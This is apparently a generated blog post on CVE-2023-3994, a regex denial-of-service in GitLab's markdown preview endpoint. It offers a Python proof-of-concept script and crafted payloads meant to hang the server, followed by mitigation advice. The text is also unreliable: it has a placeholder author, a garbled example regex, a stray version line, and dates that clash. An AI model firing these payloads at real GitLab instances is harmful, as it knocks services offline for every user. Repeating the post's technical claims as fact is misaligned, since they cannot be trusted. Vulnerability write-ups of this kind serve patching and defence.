CVE-2023-3994 - Exploiting Regex Denial of Service in GitLab’s Markdown Preview Endpoint

Date Published: July 2024  
Author: [Your Name]


GitLab is a central tool for software development teams around the world, praised for its integrated approach to version control, CI/CD, and code review. However, security researchers have recently discovered a potentially disastrous Regular Expression Denial of Service (ReDoS) in various GitLab versions. This post will break down CVE-2023-3994, demonstrate its exploit details, and suggest mitigation—all in simple English, with original references and easy-to-follow code samples.

What is CVE-2023-3994?

CVE-2023-3994 is a serious vulnerability found in GitLab Community Edition (CE) and Enterprise Edition (EE):

Versions 16.2.x before 16.2.2

The flaw lies in the way the ProjectReferenceFilter handles user input on the preview_markdown endpoint. By sending cleverly crafted markdown text, an attacker can trigger a vulnerable regular expression, causing the server process to hang and consume excessive CPU resources—potentially making GitLab slow or unavailable for all users. This is a classic "ReDoS" attack.

Why does this vulnerability matter?

Regular expressions are powerful for searching or replacing patterns in text. But bad regex can be catastrophic: with certain input, matching may require exponential time, choking the server and making it unresponsive. Attackers who exploit this bug don’t need special permissions—just access to any form or endpoint using the vulnerable markdown preview.

How the Exploit Works

The preview_markdown endpoint is used by GitLab to render formatted markdown before it’s saved to projects, issues, or comments. Internally, GitLab filters references like #123 (issues), or !456 (merge requests), using ProjectReferenceFilter. However, the regex in this filter does not properly defend against maliciously long or complex crafted inputs.

Suppose the regex looks like (simplified for illustration)

/(\#+)([-9]+)/

A user could send an input that causes the regex engine to backtrack excessively, freezing the app.

Proof of Concept (PoC) Exploit

Here is an easy way to test the vulnerability. The code below sends a crafted markdown to the vulnerable endpoint and measures the response time.

Python Example

import requests
import time

# Change this to point at your vulnerable GitLab server
URL = "https://your-gitlab.com/-/preview_markdown";

# Crafted payload designed to cause regex backtracking
malicious_payload = "#" + "1" * 10000 + "!"

data = {
    "text": malicious_payload,
    "project": "your_project_path"  # e.g., "namespace/reponame"
}

headers = {
    "Content-Type": "application/json"
}

start = time.time()
try:
    r = requests.post(URL, json=data, headers=headers)
    print("Status Code:", r.status_code)
    print("Body:", r.text[:200])  # Print first 200 chars
except Exception as e:
    print("Error:", e)
finally:
    print("Time taken:", time.time() - start, "seconds")

If the server slows down or the request takes unusually long, you are likely hitting the ReDoS.

A more tailored payload could use nested references or alternations that expand the regex’s "work"

#1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1

Placed inside a comment or markdown field, this can lock up the GitLab markdown preview and backend workers for several seconds or even minutes, depending on server resources.

Impact

- Denial of Service: Any authenticated or unauthenticated user (depending on endpoint exposure) can make GitLab hang.

High CPU Usage: Server resources depleted, impacting all users.

- Possible Chain Reactions: In shared environments, this can cause cascading failures and secondary outages.

16.2.2

You can find the official mitigation details at GitLab’s advisory:  
- GitLab Security Advisory for CVE-2023-3994  
- NVD CVE Details

If you can’t upgrade immediately, consider disabling the markdown preview endpoint, filtering user inputs before they reach the endpoint, or rate-limiting these requests.

Final Advice and Takeaways

- Patch quickly! If you run GitLab or manage a team that does, ensure you’re not running any of the affected versions.
- Monitor your server: Be aware of spikes in CPU or unresponsive workers, which might signal live exploitation.
- Be wary of regexes: Regular Expressions are powerful, but improper use can cripple your applications. Review critical regex patterns, especially those exposed to user input.

References

- Official GitLab Security Release
- National Vulnerability Database Entry for CVE-2023-3994
- OWASP Regex Denial of Service


By understanding both the severity and the nature of issues like CVE-2023-3994, development teams can build more secure and robust SaaS products. Stay safe, keep updating, and always watch your regular expressions.


*This post is an exclusive overview meant to simplify a complex issue for both beginners and seasoned DevOps professionals.*

Timeline

Published on: 08/02/2023 01:15:00 UTC
Last modified on: 08/04/2023 19:21:00 UTC